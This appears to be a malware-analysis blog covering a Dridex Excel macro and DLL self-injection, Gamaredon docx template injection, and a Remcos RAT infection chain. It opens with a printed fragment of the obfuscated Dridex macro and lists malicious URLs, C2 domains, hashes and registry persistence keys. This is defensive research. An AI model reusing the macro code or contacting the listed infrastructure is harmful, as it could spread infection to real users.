qj.pDhp/aled.my0zDDts/rsnta.o/nx.pDhp/o-o.mhcrDDts/ti.mby.pDhp/laarainanss.pDhp/ppran/79iDlt:bc./q6aDkt:rtrtlasrsootjzDDts/iwansl.mwlsiD3t:pb./75.rDhp/oalmoloddaiDst:vislsa.m1t.p)ENEclCR0)+ENEm,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE 

When debugging the code it appears to be those random characters spread on sheet cell start forming three arrays. When reading it top to bottom one character at the time it appears to be URLs. After complete running the code it generates over a 100 URL, all the URLs are in Appendix – A

After re-debugging multiple times there appears to be two random IOCs generate. A URL to connect download site and the DLL file name. What’s interesting is that some! Of the generated URLs are not from the list in Appendix -A and that is what Dridex is all about. Below is three samples of random generated IOCs. Further IOC are found in VT.

Finally, the end of this stage is creating a process that use Regsvr23.exe to run the create DLL. The third hidden sheet contains the end/exit function of the VBA. There’s temporary file generated in the %TEMP% folder has a cache version of the macro. Other network and host-based IOCs are found on VT.

[Figure 10]
File NameSHA265File Size
[Table 2] Temporary File Created

2. DLL File with Self-Injection

Up the time writing this post 13/69 of VT engines has detected this file as malicious

[Figure 11] VT

This binary never been seen before the incident and the compiled time from 2009. Other than that there are couple of indicators this file is suspicious like the file size compared to strings, imported and exported sections, and resources section

[Figure 13]

When running this binary on IDA it seem to be too much gray and less code and resources. The binary isn’t detected to be packed in Detect it Easy or PEiD, but there’s high Entropy.

After few rounds on x32dbg it appears to be this binary is using DLL self-injection technique. To put simply there is a hidden code that overwrite the original PE file with new file during runtime. This technique requires to allocate memory space to the hidden code first then extract it the code in the region of the memory. The overwritten happens on memory during runtime and to make it happen it requires two setting two breakpoint (VirtualProtect and VirtualAlloc). Once hitting certain space memory it’s possible to extract.

After few runs and reaching the EntryPoint on x32dbg and being on the right module and setting, it is time to set the breakpoint

[Figure 16] BreakPoints

After hitting Run (F9) few time you reach to a <VirtualAlloc> breakpoint which by checking the EAX register appears to freed up some space

Before running to the next breakpoint let’s make sure what has been allocated by putting breakpoint to return (ret) or just Run Until Return [Figure 18]. return from this function it appears to be some random data has filled up EAX [Figure 19].

When Follow in Memory, it appears that memory space has Execute, Read, and Write which is a sign of hidden code to be executed in the next steps

[Figure 20] Memory Map x32dbg

After another Run [F9] and stop at a second <VirtualAlloc> breakpoint and free up space in memory and by checking EAX dumped value it appears to have nothing. The memory space of the new allocated is also with ERW privileges. It’s the same as the previous stop as the <VirtualAlloc> but this time different memory place and different gibberish values

The next Run (F9) would be stop at <VirtualProtect> when dumping EAX register, there appears to be something close to MZ header! By checking the dump values there are some normal ASCII characters that resembles executable binary. Reaching this point means the next Run (F9) will be overwriting the original PE (Libeay32.dll), in this case, with new file

It’s possible to dump memory location from x32dbg Memory Map, but choosing alternatives is sometimes better like using ProcessHacker. When running ProcessHacker in Administrative mode > selecting the running process inside x32dbg > open Properties > Memory tap > Locate the same memory (0x24f0000) “which is dynamic value different on each run” > Right click and save

When loading this dumped binary in PE-bear, it appears to not having any Imports. Which is normal because it’s been dumped from memory, but it requires fix get things right

The fix requires matching the ‘Raw Addresses’ to match ‘Virtual Addresses’ of this binary. When values matched the Imports section is fixed and shows DLL values

Compared with [Figure 12] the new dumped file seems to be entirely different binary with new compile time by Sep 2020 unlike the original PE which show compilation on 2009

File NameSHA265File Size
[Table 3] Packed file

Appendix – A

DO NOT click at any URL



[1] Indrik Spider, https://malpedia.caad.fkie.fraunhofer.de/actor/indrik_spider

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware, https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

[3] Excel file sample, https://app.any.run/tasks/8e693e74-befe-4c01-ad8e-aed066254d5b/

[4] DLL file sample, https://app.any.run/tasks/0a690f3a-3bfa-4490-9022-2057163ea5cc/

[5] EvilClippy Github repository, https://github.com/outflanknl/EvilClippy

[6] Excel File VT, https://www.virustotal.com/gui/file/b721618810b06ed4089d1469fc5c5b37be1a907fc1ae14222f913c6e2b0001c2/detection

[7] DLL File VT, https://www.virustotal.com/gui/file/26a659ec56c7bd7b83a2f968626c1524bda829e0fefff37ecf4c4fb55ad158e3/detection

[8] Ten process injection techniques: A technical survey of common and trending process injection techniques, https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Gamaredon: Docx Template-Injection

New APT malware samples have been found by Shadow Chaser Group researchers recently, that points to the same attacker group Gamaredon. Two different samples in separate incidents are being analyzed and presented in this post to show the techniques used by the attacker. Also there are interesting findings that have been extracted during dynamic analysis and not been found by sandbox engines. Will focus on the extracted information and techniques and skip the match results.

Sample One: Downloader

Figure -1- Tweet of sample 1

Host-Based IOCs

File NameMD5 hashFile Size
Мои данные.docxfbc037e68f5988df9190cdadf742475224.56 KB
dCiBlGD.dot7467DBBB6DBEA83256B13FB151A594EF 73 bytes
index.datC6DBAAA421E7CC2A51564EC14EE98372244 bytes
sell on office360-expert.onlineE382A34494F25B9F31F8A3745135970E62 bytes
TCD18CC.tmp\CleanGradient.thmxE9294DCC4C80544EFDDD8BCA7F1FFBE657.7 KB
Table -1- Sample one Files basic properties

This malware is a Docx file with (50 4B 03 04) signature that has an embedded xml when extracted (word\_rels\settings.xml.rels) (Figure -2-), it has a URL, which by the time writing this post the link is still active (Figure -3-) [2]

Netword-Based IOC

Table -2- Sample One Connections

Unlike other malware techniques used in similar procedures, when first running this Docx file it’s already too late. As an attack vector, it doesn’t require the victim to Enable Macro in order to serve its malicious purpose.

Since it’s a downloader it only makes sense to find out what is next when running this malware live and infect the computer. Four files been extracted as in (Table -1-) in: (C:\.\.\AppData\Roaming\Microsoft\Office\Recent), and (C:\.\.\AppData\Local\Temp\TCD18CC.tmp\),

There’re dozens of other xx.TMP directories but been created and deleted during the process. The DOT file dCiBlGD is nothing but a shortcut linked to the URL shortcut (sell on office360-expert.online) which links to the same URL. The current files are almost useless and there doesn’t appear to be a use for template file or any other files in that matter. However, presenting in the following section of this post another sample belongs to the same attacker group which has the use of dot file as a second stage dropper, but more on that in a little bit.

There’s persistent mechanism that might lead to download another files like dot file, or maybe other evasion techniques. What’s missing from VirusTotal behavior [3] is the registry below ‘At least by the time writing this post’. The sample been tested with both MS word 2010 and 2016.

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\Server Cache\http://office360-expert.online/sell/

By the time of live analyzing this sample there’s no threat presented yet! However, as a first stage downloader, the attacker successfully made it to place foothold via temp files like dot or (Docs Template) which remains in the temp directory unnoticed, and also set the registry values linking to the suspicious URL.

Sample Two: Dropper

Figure -7- Tweet of sample 2

In what appears to be an older found sample discovered by the same researchers [1] linked to the same attacker group [4]. A dot file is been statically analyzed in this section, so there’s a chance to take a glance at what a dot file might be used for and what evasion and persistent techniques the attacker’s using.

Host-Based IOCs

File NameMD5 hashFile Size
KzGdWvmSq.dotddc38e9b53458ee58504a40fdc41df61216.00 KB
PrintDriver.exed1ab72db2bedd2f255d35da3da0d4b16138.50 KB
Table -3- Sample two Files basic properties

When the dot file KzGdWvmSq made it to victim machine it establishes connection with a C2 sever. And by the time analyzing this sample the C2 servers are not found [5].

Table -4- Sample Two Connections

This malware sample is a wrapper and dropper to a PE executable (printdrive.exe) that runs as process in victim machine. However, this analysis focus more on the code and interesting indicators. Using either oledump.py or olevba.py tools in a Remnux machine is a good way to identify VBA streams and extract macros. On this sample it’s clear the macro been detected at the 8th stream.

Figure -8- Oledump streams detected

The extracted macro seems to be decoded and almost every line and function has been obfuscated. With the help of olevba.py summary table, detection of base64 encoding is helpful.

The use of Document_Close function in this macro VBA is interesting. According to Microsoft documentation [6] the event only happen after closing the open document.

Figure -10- Document_Close Event

Even after decoding the code, there’s still heavy usage of swap functions, but at least the important parts are in clear text as in below IOC snaps. After closing the document, the below lines are executed and (PirntDrive.exe) is up and running in the process.

Couple of registry values been altered during runtime. however, the spotted hardcoded ones are as below and more with the same sample/registry section [7] as persistent mechanism.


HKEY_CURRENT_USER\Software\Microsoft\Office\ & Application.Version & _”\Word\Security\

Compared to the rest of the dot file, the ‘Macros/VBA/ThisDocument‘ file is relatively small. Just in case to avoid missing any other hidden data back to Figure -8- above. Let’s try make use of pcodedmp.py tool and extracting a possible hidden p-code. There aren’t any hidden, just the fact that the 5th stream ‘Data’ that appears to be the image file in the template embedded in this section. What get the attention in the also is this little overhead as referral to image content.


Shadow Chaser Group for discovering both samples

Update (27 Jan 2021)

Contribution work from Nicko on Github


[1] Shadow Chaser Group, https://twitter.com/ShadowChasing1

[2] AnyRun – Sample One, https://app.any.run/tasks/17575220-f087-4baa-bc96-3d9bdb0f10ed/

[3] VirusTotal – Template Injection Malware Sample, https://www.virustotal.com/gui/file/499caf4558ca05440875a94d5e06663cc637f9c6acdaa7c1a89f889a025837f3/behavior

[4] Gamaredon Group by Mitre Att&ck definition, https://attack.mitre.org/groups/G0047/

[5] AnyRun – Sample Two, https://app.any.run/tasks/26e685f3-9a76-45fa-ad70-dd61cb64812c/

[6] Microsoft documentation, https://docs.microsoft.com/en-us/office/vba/api/word.document.close(even)

[7] AnyRun – Sample Two Registry Values, https://any.run/report/13b780800c94410b3d68060030b5ff62e9a320a71c02963603ae65abbf150d36/26e685f3-9a76-45fa-ad70-dd61cb64812c#registry

REMCOS RAT Infection

Remote control & Surveillance Software or REMCOS from breaking-security dot net. A lightweight remote administration tool (free and pro) version that been used by system admins professionals for at least its benign premise. Remcos has also appeared in multiple malware campaigns as Remote Access Trojan (RAT). Based on review on the previous analysis done on this malware type it appears to be that adversaries are using almost a similar tactics, but slight optimization in wrapping, obfuscation, and anti-debugging techniques to evade detection at best and to slow analysis for sure.

Remcos RAT infection in short is multi stage infection technique to place foothold in victims’ environment. The adversary uses office documents with hidden script to trick the user. once victim open the document the malicious script begin staging the infection by downloading and running malicious executables in the background. The attacker want to secure persistent in victims environment even after reboot, and placing keylogger as one of the obvious features of this malware.

In my analysis I’ve used different approaches for each of the given artifacts to check the variation with the previous findings [2][3] and what are the attacker methods that been used in this campaign . Both static and dynamic analysis techniques been used to reverse engineer the malware using debuggers, disassemblers, de-obfuscation techniques, and analyzing Windows API functions. In addition, I’ve conducted a live infection session to check if the C2 sever still active.


File NameSHA265
Quotation.xla 05f728ee2f55714446aa32ab842bef2741cb14a25b879dc0f7deb2d25b0fad05
Table -1- Host-based IOCs


TypeFile NameURLPort
DownloaderQuotation.xlatinyurl [.] com443
C2 Serverremcos.exewhatgodcannotdodoestnotexist[.]duckdns[.]org2889
Table -2- Network-based IOCs


I break this section into three based on the stages number on this attack to follow along with the analysis highlighted in the infographic on top.

Stage 1: Spreadsheet

From the first glance of Quotation.xla file’s strings, it’s clear the malicious script calling, downloading and invoke an exe file from tinyurl[.]com. It seems that the attacker is not even trying to obfuscate the scripts in Macro file. So it’s been handed easily.

The Macro contains three PowerShell scripts that download file, set destination directory, and run the file in this order, file name: nm.exe. When dynamically running the Excel file three child cmd and powershell process are running. Capture process tree using ProcMon from SysInternals

When nm.exe first been downloaded to temporary directory then script moved it to %AppData%Roaming to execute. The entire purpose of nm.exe is just to send GET request to another, which makes it only a downloader. No scrambling or any obfuscation methods used in this executable

Here’s Wireshark caption during live attempt to infect the OS without using InetSim, FakeDNS, or ApateDNS, the reason here is to check if the C2 server still active, or any other C2 for that matter. Only the dropper file rthfy.exe been downloaded

Stage 2: Dropper

rthfy.exe is the dropper in this context, which is wrapper to remcos.exe aka the RAT. It’s a .NET 32-bit compiled executable, which is not different than the previous samples that been analyzed in [2]. However, the attacker ‘which I highly suspect is a different person from the one in the previous stage for the following reason’ have used highly obfuscation techniques for anti-debugging purposes. When disassembling the file in dnSpy, it appears to be that almost every function, class, objects, and arrays of the code’s been scrambled. I couldn’t decide which token to use in de4dot in order to clear, but auto clearing helped a bit and got better results to reach the wrapped binaries.

At early debugging stages it’s easy to spot and dump a malicious DLL. However, I didn’t fully analyze this artifact, but recent report [4] and quick google search can show its malicious purposes.

File NameSHA265
Table -3- dumped DLL

SHCore1.dllwhich goes by the name of pTcW.dll from dnSpy point of view!’ helped to locate the cipher algorithm RijndaelManaged. However, I didn’t take full advantage of this finding to de-obfuscate the code because the very file that carries remcos.exe comes just right after couple of Step- into and Step-over and the rest of indicators is just clear text.

When dumping 4O0O in (Figure -7-) ‘which has the MZ header’ and analyzing it separately and checking resources section we can find it carries two binaries: remcos.exe and Wscript.exe (Figure -8-). Wscript has Powershell script that deploys the RAT. But more on that later in the third stage.

Coming snaps wraps up the second staged of this analysis which shows the persistent mechanism used in this attack and execution by calling AddInProcess32.exe.

Stage 3: the RAT

Since this an evasion tool, and there is pro version of it. I’ve took different approach when analyzing remcos.exe which is more of developed hypothesis based on the encountered API calls listed in (Table-4-). To put it simply I was expecting Code Injection and API Hooking to evade detection for three good reasons: –

  1. This RAT could be packed with another code that inject itself into other processes. More of persistent than the very RAT itself.
  2. It’s harder to spot which process to look for in static analysis because the process list might vary so the only way to find out is during debugging. Based on my attempts there’re anti-debugging techniques that makes it difficult to find out.
  3. Code injection, when combined with some form of hooking can also be used to implement a user-mode rootkit!
APIremcos.exe imports
CreateRemoteThreadNot Found
Table -4- API calls to implement Code Injection

The combination of those API calls is a secret recipe for Code Injection technique. However, with the very important API (CreateRemoteThread) ‘which is the mysterious process that’s going to be infected‘ not found in this very sample I dropped the attempts on this approach and continued to the rest of the analysis with terrible disappointment! However, another successful approach to find out if it inject a process or not would involve memory dumping and using Volatility.

The usual analysis

I’ve not got much more indicators between static and dynamic analysis of remcos.exe, and there’s not been major changes than the previous analysis [2][3]. Despite, it doesn’t hurt to try, there still anti-debugging techniques as mentioned above. The only variable is the C2 server! and probably the cipher method attacker/tool is using in this version when encrypting the traffic sent to the C2 server.

Figure -12- remcos.exe and its keylogger

When debugging remcos.exe using x32dbg, tried different breakpoints techniques of API calls such as virtualAlloc and virtualProtect, but couldn’t spot useful indicators other than the given. However, the only breakpoint worked for me to extract C2 server is by breaking into msvcrt.dll.free

Finally, As persistent mechanism the infected RAT stays in the register (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)


[1] Remcos malware sample – https://www.malware-traffic-analysis.net/2021/01/06/index.html

[2] New Variant of Remcos RAT observed in the wild, Oct 2019https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild

[3] Analysis: New Remcos RAT Arrives Via Phishing Email, Aug 2019 https://www.trendmicro.com/en_us/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html

[4] MalwareBazaar DB – https://bazaar.abuse.ch/sample/9fad68bbaba3bcd69e3b8100eb5c035ea2caf59e0f9115e36667a62b2dce84bb/#intel